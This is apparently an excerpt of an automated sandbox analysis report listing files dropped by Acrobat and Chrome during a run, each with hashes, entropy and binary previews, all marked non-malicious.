).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8dbb9d63-12f8-41e5-8669-3792d5280cd2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f5b84c5a-0a7a-4852-843e-7c19f7dd2f8d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 16 15:19:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9833148919733823
Encrypted:	false
SSDEEP:	48:85dijTG90qfHAidAKZdA19ehwiZUklqehHy+3:8mj+0qGoy
MD5:	DEC37984717EE978EAEE0C6B1AE60DC4
SHA1:	AD958172DA407E0EDC12CE3837A03902548485A0
SHA-256:	1642DBB32855A93F9AAAFF7A70E397111E96235B067C4D83DA93E9916A860C72
SHA-512:	92D2F7FF8F6DFCB92746901E431C56C545D1CA531975B63EFC6A9AD49C2BFA3BBDED2B468CDC3EDCCAC55925C611F6A9A1B93AC676F4F2168D07DB1E8B038212
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......{2h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I0Zn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V0Z{.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V0Z{.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V0Z{............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V0Z}............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 16 15:19:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.000504636791961
Encrypted:	false
SSDEEP:	48:80dijTG90qfHAidAKZdA1weh/iZUkAQkqehYy+2:8Rj+0qE9Qdy
MD5:	C7D2A5B35C748D1E6C41B4592518E862
SHA1:	E07172B5D0BC0D9681E290D047EE393156916D1E
SHA-256:	0E3507ABC95FA9866CEBE8FB83A1C4B8CD0EE3316C4D6B6A0CCAA981E3A6E5F5
SHA-512:	525AC13B0E292191801CE9C2505A4E084B9EE1CB484E16F662E4004E65224ECF5010B6A89A91D4E5CA7F23374C958B4A426312F4BC69A2949AE9D623107F8268
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......{2h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I0Zn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V0Z{.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V0Z{.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V0Z{............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V0Z}............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.011983121559777
Encrypted:	false
SSDEEP:	48:8xydijTG90sHAidAKZdA14tseh7sFiZUkmgqeh7s2y+BX:8xPj+0Bnky
MD5:	7C0565C2581A5D6B28013CBBC6B05B7A
SHA1:	344971386CC8D758EE190E68E3C09D774BE1BF48
SHA-256:	4961AB22985F67E6C2D1D5CEDE891FA995082715CC03AE0C7B03AEB8BE7A33C0
SHA-512:	D4405FCA9BF599AFD9483B4033941546596CC6EA5940D88CDBF20143C51BB78506F0E467607F176D91BE5869006D176942E585B84F775041F602A388B453A1E1
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I0Zn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V0Z{.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V0Z{.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V0Z{............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 16 15:19:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9986930777822915
Encrypted:	false
SSDEEP:	48:8JydijTG90qfHAidAKZdA1vehDiZUkwqehcy+R:8JPj+0qPuy
MD5:	74E359531AADB24BBE0A5B06E15A88EB
SHA1:	422ABDDC55FFBE940E0BF072DC787E4D0684468B
SHA-256:	CE85CBCD79DB0567A38C7AC05DB1E1C5A4D9BF4E0893DF15D3F53B704226780B
SHA-512:	F83EC82A11122A88E81A477E16B11E47AE37A4E65F95512DFAFEAC209B18F571B001569078FB64ADFFA9823605447BFEA728C2BC9C3BB72C979B0BBD82F02CD6
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......{2h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I0Zn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V0Z{.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V0Z{.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V0Z{............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V0Z}............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 16 15:19:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9862580801215497
Encrypted:	false
SSDEEP:	48:8XdijTG90qfHAidAKZdA1hehBiZUk1W1qehyy+C:8kj+0qv9Sy
MD5:	162FF0E92B1B28C3941426B94A3D92B7
SHA1:	DCD5B9CBDE66D5CBC2D51FCC9ED26231E0226DFE
SHA-256:	C38044AFA2452EBD87176B1A231458D06F07CFA4B4A22F8E7FFFCED9804827EB
SHA-512:	839B6F744B7DB4D1DF7F776731699DE4D64DBD1FAE017409E2DCD4EB1BBF01AEB938DD08794C9F74954DDFD2CE6A2BCA737DF2744DD6BF33730826A78882C73C
Malicious:	false
Preview:	L..................F.@.. ...$+.,....t..{2h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I0Zn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V0Z{.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V0Z{.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V0Z{............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V0Z}............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 16 15:19:57 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.996858777865118
Encrypted:	false
SSDEEP:	48:8GdijTG90qfHAidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbky+yT+:8bj+0qnT/TbxWOvTbky7T
MD5:	C45C9DF6BDF9EDB4B14751C1774F3508
SHA1:	D9C071DDD0AE2A5950CCAE44D2D44C28054761F5
SHA-256:	322E2C8A90195C8663A6BDC10BDE9E4FBF77C57AD8E641DAF2AD2943A25286E4
SHA-512:	E3BE0DD190A598F0B30CB51F8EA8FC5CECC179165016E1FE98E1E927DEA7967B7FCC05C2509285FCBA974DF3FAA659348B64A3FBEE49FE5B190D2941D4386F9B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....e..{2h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I0Zn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V0Z{.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V0Z{.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V0Z{............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V0Z}............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\Google.Widevine.CDM.dll

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2877728
Entropy (8bit):	6.868480682648069
Encrypted:	false
SSDEEP:	49152:GB6BoH5sOI2CHusbKOdskuoHHVjcY94RNETO2WYA4oPToqnQ3dK5zuqvGKGxofFo:M67hlnVjcYGRNETO2WYA4oLoqnJuZI5
MD5:	477C17B6448695110B4D227664AA3C48
SHA1:	949FF1136E0971A0176F6ADEA8ADCC0DD6030F22
SHA-256:	CB190E7D1B002A3050705580DD51EBA895A19EB09620BDD48D63085D5D88031E
SHA-512:	1E267B01A78BE40E7A02612B331B1D9291DA8E4330DEA10BF786ACBC69F25E0BAECE45FB3BAFE1F4389F420EBAA62373E4F035A45E34EADA6F72C7C61D2302ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: V2yjcnvr6z.pdf, Detection: malicious, Browse Filename: Mmcdonald-Employee-Benefits.docx, Detection: malicious, Browse Filename: Davx2k2025.doc, Detection: malicious, Browse Filename: mitel.docx, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Remittance.html, Detection: malicious, Browse Filename: Scan.html, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Undelivered Messages.htm, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....fd.........." ......(..........A&.......................................,.......,...`A.........................................V......V......`,......`+..p....+. )...p,......D.8....................C.(.....(.8...........p\..............................text.....(.......(................. ..`.rdata..h.....(.......(.............@..@.data....l......&.................@....pdata...p...`+..r.................@..@.00cfg..(.....+......p+.............@..@.gxfg....$....+..&...r+.............@..@.retplnel.... ,.......+..................tls.........0,.......+.............@....voltbl.D....@,.......+................._RDATA.......P,.......+.............@..@.rsrc........`,.......+.............@..@.reloc.......p,.......+.............@..B........................................................................................................................................

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	6.02086725086136
Encrypted:	false
SSDEEP:	48:p/hCdQAdJjRkakCi0LXjX9mqjW6JmfQkNWQzXXf2gTs:RtQ1aaxXrjW6JuQEWQKas
MD5:	3E839BA4DA1FFCE29A543C5756A19BDF
SHA1:	D8D84AC06C3BA27CCEF221C6F188042B741D2B91
SHA-256:	43DAA4139D3ED90F4B4635BD4D32346EB8E8528D0D5332052FCDA8F7860DB729
SHA-512:	19B085A9CFEC4D6F1B87CC6BBEEB6578F9CBA014704D05C9114CFB0A33B2E7729AC67499048CB33823C884517CBBDC24AA0748A9BB65E9C67714E6116365F1AB
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJHb29nbGUuV2lkZXZpbmUuQ0RNLmRsbCIsInJvb3RfaGFzaCI6Im9ZZjVLQ2Z1ai1MYmdLYkQyWFdBS1E5Nkp1bTR1Q2dCZTRVeEpGSExSNWMifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiYk01YTJOU1d2RkY1LW9Tdml2eFdqdXVwZ05pblVGakdPQXRrLTBJcGpDZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Im5laWZhb2luZGdnZmNqaWNmZmtncG1ubHBwZWZmYWJkIiwiaXRlbV92ZXJzaW9uIjoiMS4wLjI3MzguMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"KTPeHzS0ybFaz3_br3ASYWHjb6Ctul92067u2JMwtNYYm-4KxLiSkJZNBIzhm6hNSEW2p5kUEvHD0TjhhFGCZnWm9titj2bqJayCOAGxZb5BO74JJCRfy5Kwr1KSS4nvocsZepnHBmCiG2OV3by-Lyf1h1uU3X3bDfD92O0vJzrA8rwL2LrwIk-BolLo5nlM0I_MZwg8DhZ8SFBu9GGRVB2XrailDrv4SgupFE9gqA1HY6kjRjoyoAHbRRxZdBNNt9IKNdxNyaF9NcNRY8dAedNQ9Tw3YNp5jB7R9lcjO4knn58RdH2h_GiJ4l96StcXA4e7cqbJ77P-c

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.974403644129192
Encrypted:	false
SSDEEP:	3:SLVV8T+WSq2ykFDJp9qBn:SLVqZS5p0B
MD5:	D30A5BBC00F7334EEDE0795D147B2E80
SHA1:	78F3A6995856854CAD0C524884F74E182F9C3C57
SHA-256:	A08C1BC41DE319392676C7389048D8B1C7424C4B74D2F6466BCF5732B8D86642
SHA-512:	DACF60E959C10A3499D55DC594454858343BF6A309F22D73BDEE86B676D8D0CED10E86AC95ECD78E745E8805237121A25830301680BD12BFC7122A82A885FF4B
Malicious:	false
Preview:	1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_1931219489\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.595307058143632
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFooG+HhFFKS18CWjhXLXGPQ3TRpvF/FHddTcplFHddTcVYA:F6VlM5PpKS18hRIA
MD5:	BBC03E9C7C5944E62EFC9C660B7BD2B6
SHA1:	83F161E3F49B64553709994B048D9F597CDE3DC6
SHA-256:	6CCE5AD8D496BC5179FA84AF8AFC568EEBA980D8A75058C6380B64FB42298C28
SHA-512:	FB80F091468A299B5209ACC30EDAF2001D081C22C3B30AAD422CBE6FEA7E5FE36A67A8E000D5DD03A30C60C30391C85FA31F3931E804C351AB0A71E9A978CC0F
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "windows-mf-cdm",. "version": "1.0.2738.0",. "accept_arch": [. "x64",. "x86_64",. "x86_64h". ].}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7724_2023974630\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo